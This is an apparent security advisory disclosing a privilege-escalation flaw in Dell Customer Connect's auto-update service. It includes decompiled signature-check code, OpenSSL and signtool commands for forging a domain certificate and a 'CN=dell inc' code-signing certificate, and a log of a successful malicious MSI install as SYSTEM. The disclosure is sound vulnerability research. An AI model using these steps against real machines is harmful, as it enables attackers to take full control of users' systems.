DCCService.exe is running on autostart as System.
This service has auto update functionality.
Basically it periodically checks https://otbs.azurewebsites.net looking for new config file.
Under normal conditions we cannot spoof this connection because it's SSL.
But here WebUtils.sendWebRequest() is executed using Impersonator.RunImpersonated().
RunImpersonated() executes given function in the context of currently logged in user.
In Windows system we can add any certificate to Local user root store.
Then this certificate is considered as trusted so we can perform MITM attack.
It can be done using simple proxy server because by default .NET HttpWebRequest() uses IE proxy settings (which can by set by any user without administrator priveleges).
Config file looks like this:
<UpdateResponse>
<LatestVersion>9.0.0.6</LatestVersion>
<UpgradeUrl>http://our_url_to_new_file</UpgradeUrl>
<UpgradeHash>Sha_256_of_new_file</UpgradeHash>
<SurveyCheckInterval>1</SurveyCheckInterval>
</UpdateResponse>
So service checks if it has newest version installed and if not, it downloads a new one.
But before execution service also verify Digital Signature:
public static bool IsSignedByDell(string filePath)
{
FileUtils.Log.DebugFormat("Checking digital signature of {0}...", filePath);
bool result;
try
{
X509Certificate x509Certificate = X509Certificate.CreateFromSignedFile(filePath);
FileUtils.Log.DebugFormat("Certificate Issuer: \"{0}\"", x509Certificate.Issuer);
FileUtils.Log.DebugFormat("Certificate Subject: \"{0}\"", x509Certificate.Subject);
try
{
X509Certificate2 x509Certificate2 = new X509Certificate2(x509Certificate);
bool flag = x509Certificate2.Verify();
FileUtils.Log.DebugFormat("cert2.Verify() returned {0}", flag);
FileUtils.Log.DebugFormat("cert2.Hash string is: {0}", x509Certificate2.GetCertHashString());
if (!FileUtils.ValidateCert(x509Certificate2, DateTime.Now))
{
FileUtils.Log.Debug("Not a valid certificate!");
result = false;
return result;
}
}
catch
{
}
if (x509Certificate.Subject.ToLower().StartsWith("cn=dell inc"))
{
FileUtils.Log.Debug("Certificate subject is Dell.");
result = true;
}
else
{
FileUtils.Log.Debug("Not signed by Dell!");
result = false;
}
}
catch (Exception)
{
FileUtils.Log.Warn("Unable to extract signature!");
result = false;
}
return result;
}
private static bool ValidateCert(X509Certificate2 cert, DateTime verifydate)
{
X509Chain chain = new X509Chain();
chain.ChainPolicy.RevocationFlag = X509RevocationFlag.EntireChain;
chain.ChainPolicy.RevocationMode = X509RevocationMode.Online;
chain.ChainPolicy.UrlRetrievalTimeout = new TimeSpan(0, 0, 30);
chain.ChainPolicy.VerificationFlags = X509VerificationFlags.NoFlag;
chain.ChainPolicy.VerificationTime = verifydate;
bool b = false;
Impersonator.RunImpersonated(delegate
{
b = chain.Build(cert);
}, "Checking certificate");
if (!b)
{
try
{
if (chain != null && chain.ChainStatus != null && chain.ChainStatus.Length != 0)
{
FileUtils.Log.ErrorFormat("Certificate validation failed with status: {0}", chain.ChainStatus[0].Status);
}
}
catch
{
}
}
return b;
}
Again, b = chain.Build(cert); is running using RunImpersonated.
So this means we can add self-signed certificate with cn=dell inc to user root store and it will be considered as trusted.
After all these checks downloaded file is executed as SYSTEM using:
msiexec.exe /log "C:\ProgramData\Dell\Dell Customer Connect\Logs\our_file.msi_install_log.txt" ALLUSERS=1 /qn /norestart /i "C:\ProgramData\Dell\Dell Customer Connect\Downloads\our_file\our_file.msi"
So we can execute any msi files as SYSTEM.
This method has one drawback though: service checks config file only once per several hours, keep this in mind.
Proof of Concept
First generate ssl certificate for domain:
openssl req -x509 -newkey rsa:2048 -sha256 -nodes -keyout otbs.key -out otbs.crt -subj "/CN=otbs.azurewebsites.net" -days 3650
Put public and private keys into one crt file.
Then we need to generate code signing certificate and sign malicious msi file:
makecert -r -pe -n "CN=dell inc" -b 01/01/2017 -e 01/01/2020 -sky exchange code.cer -sv code.pvk
pvk2pfx.exe -pvk code.pvk -spc code.cer -pfx code.pfx
signtool.exe sign /f "code.pfx" /d code.msi code.msi
Successfull exection looks in log file like this:
2017-02-05 20:49:25,066 [6460] DEBUG Running action "Sending web request AppConfig" [RunImpersonated]
2017-02-05 20:49:25,068 [6460] DEBUG string to hash is: 2017-02-05 20:49:25.068,GET,https://otbs.azurewebsites.net/api/AppConfig?serviceTag=&appVersion=1.3.28.0 [CreateRequest]
2017-02-05 20:49:25,532 [6460] DEBUG Response received in 458ms for web request AppConfig. [sendWebRequest]
2017-02-05 20:49:25,532 [6460] DEBUG Not logging event because DAWS logging not explicitly enabled in the registry. [LogEventToDaws]
2017-02-05 20:49:25,532 [6460] INFO Successfully requested AppConfig from web service. [GetAppConfig]
2017-02-05 20:49:25,534 [6460] INFO AppConfig processed. [GetAppConfig]
2017-02-05 20:49:25,534 [6460] INFO Current version: 1.3.28.0; Available Version: 9.0.0.6 [UpgradeIsRequired]
2017-02-05 20:49:25,539 [6460] INFO Upgrading software to version 9.0.0.6; Downloading Installer: http://localhost:5555/exploit.msi [UpgradeClient]
2017-02-05 20:49:25,540 [6460] DEBUG Not logging event because DAWS logging not explicitly enabled in the registry. [LogEventToDaws]
2017-02-05 20:49:25,543 [6460] DEBUG Impersonating Computer\test. [RunImpersonated]
2017-02-05 20:49:25,543 [6460] DEBUG Running action "Getting Proxy" [RunImpersonated]
2017-02-05 20:49:25,546 [6460] INFO Using proxy server: http://127.0.0.1:7777/ [EnableProxy2]
2017-02-05 20:49:25,546 [6460] DEBUG Web Client instantiated with user-agent header "Dell Customer Connect/1.3.28.0"; Using Proxy: True [.ctor]
2017-02-05 20:49:26,558 [6460] INFO Download complete. [UpgradeClient]
2017-02-05 20:49:26,560 [6460] DEBUG Not logging event because DAWS logging not explicitly enabled in the registry. [LogEventToDawsAndWait]
2017-02-05 20:49:26,568 [6460] DEBUG Checking digital signature of C:\ProgramData\Dell\Dell Customer Connect\Downloads\exploit\exploit.msi... [IsSignedByDell]
2017-02-05 20:49:26,570 [6460] DEBUG Certificate Issuer: "CN=dell inc" [IsSignedByDell]
2017-02-05 20:49:26,571 [6460] DEBUG Certificate Subject: "CN=dell inc" [IsSignedByDell]
2017-02-05 20:49:26,573 [6460] DEBUG cert2.Verify() returned False [IsSignedByDell]
2017-02-05 20:49:26,573 [6460] DEBUG cert2.Hash string is: 784FD5450B5DACA1C127C9E08B635F24A43A4783 [IsSignedByDell]
2017-02-05 20:49:26,576 [6460] DEBUG Impersonating Computer\test. [RunImpersonated]
2017-02-05 20:49:26,577 [6460] DEBUG Running action "Checking certificate" [RunImpersonated]
2017-02-05 20:49:26,584 [6460] DEBUG Certificate subject is Dell. [IsSignedByDell]
2017-02-05 20:49:26,584 [6460] DEBUG Not logging event because DAWS logging not explicitly enabled in the registry. [LogEventToDawsAndWait]
2017-02-05 20:49:26,585 [6460] INFO Starting upgrade: msiexec.exe /log "C:\ProgramData\Dell\Dell Customer Connect\Logs\exploit.msi_install_log.txt" ALLUSERS=1 /qn /norestart /i "C:\ProgramData\Dell\Dell Customer Connect\Downloads\exploit\exploit.msi" [UpgradeClient]
2017-02-05 20:49:26,589 [6460] INFO Stopping windows service because upgrade is about to be installed. [CheckForUpgradeAndSurveyReady]
Timeline
- 05-02-2017: Discovered
- 05-02-2017: Vendor notified
- 07-02-2017: Dell acknowledged vulnerability
- 13-02-2017: Receive fix for testing
- 19-02-2017: Send blog draft and plan responsible disclosure date: 28.02.2017
- 22-02-2017: Dell requested additional time till end of March
- 13-03-2017: Version 1.4.15.0, A00 released
- 28-03-2017: Dell requested additional two weeks, till 14.04.2017